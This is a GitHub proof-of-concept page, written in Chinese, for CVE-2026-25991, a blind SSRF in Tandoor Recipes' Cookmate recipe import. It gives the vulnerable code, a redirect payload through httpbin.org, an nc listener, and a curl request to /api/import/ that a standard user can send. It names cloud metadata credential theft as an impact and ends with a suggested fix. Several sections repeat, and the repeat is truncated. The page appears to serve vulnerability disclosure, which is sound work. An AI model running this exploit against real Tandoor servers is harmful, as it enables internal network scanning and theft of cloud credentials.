drkim-dev/CVE-2026-25991
GitHub: drkim-dev/CVE-2026-25991
针对 Tandoor Recipes ≤ 2.5.0 版本的 Blind SSRF 漏洞概念验证,通过 Cookmate 食谱导入功能绕过 URL 验证实现内网访问。
Stars: 2 | Forks: 0
# CVE-2026-25991 PoC - Tandoor Recipes SSRF
**通过食谱导入实现 SSRF 的概念验证**
**披露:** 由我通过 [GHSA-j6xg-85mh-qqf7](https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-j6xg-85mh-qqf7) 最初报告
⚠️ 仅限授权渗透测试/研究使用。
## 漏洞信息
| 字段 | 值 |
|-------|-------|
| **CVE ID** | CVE-2026-25991 |
| **严重性** | 🔴 高 |
| **CVSS 分数** | 7.7 |
| **CVSS 向量** | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| **CWE** | CWE-918: Server-Side Request Forgery (SSRF) |
| **受影响产品** | Tandoor Recipes ≤ 2.5.0 |
| **修复版本** | 2.5.1 |
| **公告** | [GHSA-j6xg-85mh-qqf7](https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-j6xg-85mh-qqf7) |
# CVE-2026-25991: 通过食谱导入实现 Blind SSRF 并访问内部网络
### 概述
我在 Tandoor Recipes 的 `Cookmate` 食谱导入功能中发现了一个 **Blind Server-Side Request Forgery (SSRF)** 漏洞。该应用程序在跟随 HTTP 重定向后未能验证目标 URL,允许 **任何经过身份验证的用户(包括没有管理权限的标准用户)** 强制服务器连接到任意的内部或外部资源。
此漏洞可被利用来扫描内部网络端口、访问云实例元数据(例如 AWS/GCP Metadata Service),或泄露服务器的真实 IP 地址。
### 详情
该漏洞位于 `cookbook/integration/cookmate.py` 文件中的 `Cookmate` 集成类中。
1. **初始逻辑**:当处理导入的 XML 文件时,应用程序会提取 `imageurl` 字段。
2. **初始检查**:URL 使用辅助函数 `validate_import_url`(位于 `cookbook/helper/HelperFunctions.py`)进行验证,该函数正确地阻止了私有 IP 范围(例如 `127.0.0.1`、`10.0.0.0/8`)。
3. **绕过方法(漏洞代码)**:
然而,在验证之后,代码立即使用 `requests.get(url)` 下载图片。默认情况下,`requests` 库会跟随重定向(`allow_redirects=True`)。
`validate_import_url` 函数 **只检查初始 URL**,但未能验证重定向发生后的最终目的地。
**漏洞代码片段 (`cookbook/integration/cookmate.py:73`):**
```
if validate_import_url(url):
# CRITICAL: requests.get follows redirects by default, bypassing the initial check.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
```
攻击者可以使用外部服务(如 `httpbin.org`)将请求重定向到受限的内部地址(例如 `http://127.0.0.1:80/` 或 `http://169.254.169.254/`)。
**关键是,`AppImportView` (`cookbook/views/api.py`) 明确允许 `CustomIsUser` 权限,这意味着任何注册用户都可以触发此漏洞。** 不需要特殊的管理权限。
### PoC (概念验证)
**前置条件:**
1. Tandoor 实例上的一个 **标准用户账户**(非管理员)。
2. 本地安装了 Python(或任何 HTTP 监听工具,如 `nc`)。
**复现步骤:**
1. **设置监听器(攻击者机器):**
打开终端并启动 `nc` 以监听传入的连接。这模拟了一个内部服务或攻击者控制的服务器。
nc -lvnp 9999
2. **创建恶意 XML Payload:**
创建一个名为 `payload.xml` 的文件。将 `` 替换为您的公共 IP 地址(或可访问的 IP)。
此 payload 使用 `httpbin.org` 绕过初始的私有 IP 检查并重定向到您的监听器。
SSRF_PoC
https://httpbin.org/redirect-to?url=http%3A%2F%2F%3A9999%2Fsecret.txt
3. **创建 ZIP 压缩包:**
Tandoor 要求 XML 必须位于 ZIP 文件内。
zip payload.zip payload.xml
4. **执行漏洞利用(通过 API):**
以 **标准用户**(非管理员)身份登录以获取会话 Cookie 和 CSRF token。
然后向 `/api/import/` 发送 POST 请求:
(将 ``、``、`` 替换为实际值)
curl -X POST 'http:///api/import/' \
-H 'Cookie: sessionid=; csrftoken=' \
-H 'X-CSRFToken: ' \
-F 'type=COOKMATE' \
-F 'files=@payload.zip' \
-F 'duplicates=true'
5. **验证连接:**
检查您的监听器终端(`nc`)。您将看到来自 Tandoor 服务器的传入 HTTP GET 请求。
这证实了服务器代表标准用户已连接到任意的内部/外部资源。
GET /secret.txt HTTP/1.1
Host: :9999
User-Agent: python-requests/2.x.x
...
### 影响
* **内部网络扫描**:攻击者可以探测内部端口以发现正在运行的服务。
* **云元数据泄露**:如果部署在 AWS/GCP/Azure 上,攻击者可以访问实例元数据(例如 `http://169.254.169.254/latest/meta-data/`)以窃取 IAM 凭证,从而导致基础设施完全沦陷。
* **严重性**:**高 (CVSS ~8.0)**,因为它需要低权限(标准用户)且可能导致重大影响(元数据访问/内部扫描)。
### 修复方案
在 `requests.get` 调用中禁用自动重定向跟随,或对重定向 URL 实施严格验证。
**Diff(建议修复):**
```
# cookbook/integration/cookmate.py
# 选项 1:禁用重定向 (推荐)
response = requests.get(url, allow_redirects=False)
# 选项 2:验证重定向
# (需要复杂的逻辑来检查针对私有 IP 范围的每个重定向跳数)
```
3. **创建 ZIP 压缩包:**
Tandoor 要求 XML 必须位于 ZIP 文件内。
zip payload.zip payload.xml
4. **执行漏洞利用(通过 API):**
以 **标准用户**(非管理员)身份登录以获取会话 Cookie 和 CSRF token。
然后向 `/api/import/` 发送 POST 请求:
(将 `
5. **验证连接:**
检查您的监听器终端(`nc`)。您将看到来自 Tandoor 服务器的传入 HTTP GET 请求。
这证实了服务器代表标准用户已连接到任意的内部/外部资源。
GET /secret.txt HTTP/1.1
Host:
### 影响
* **内部网络扫描**:攻击者可以探测内部端口以发现正在运行的服务。
* **云元数据泄露**:如果部署在 AWS/GCP/Azure 上,攻击者可以访问实例元数据(例如 `http://169.254.169.254/latest/meta-data/`)以窃取 IAM 凭证,从而导致基础设施完全沦陷。
* **严重性**:**高 (CVSS ~8.0)**,因为它需要低权限(标准用户)且可能导致重大影响(元数据访问/内部扫描)。
### 修复方案
在 `requests.get` 调用中禁用自动重定向跟随,或对重定向 URL 实施严格验证。
**Diff(建议修复):**
```
# cookbook/integration/cookmate.py
# 选项 1:禁用重定向 (推荐)
response = requests.get(url, allow_redirects=False)
# 选项 2:验证重定向
# (需要复杂的逻辑来检查针对私有 IP 范围的每个重定向跳数)
```
标签:AWS元数据, Blind SSRF, CVE-2026-25991, CWE-918, GitHub, HTTP重定向, PoC, Python, Requests库, SSRF, Tandoor Recipes, Web安全, 云元数据泄露, 内网探测, 安全漏洞, 密码管理, 插件系统, 无后门, 暴力破解, 服务器端请求伪造, 概念验证, 盲注SSRF, 绕过过滤, 网络安全, 蓝队分析, 逆向工具, 隐私保护, 食谱管理软件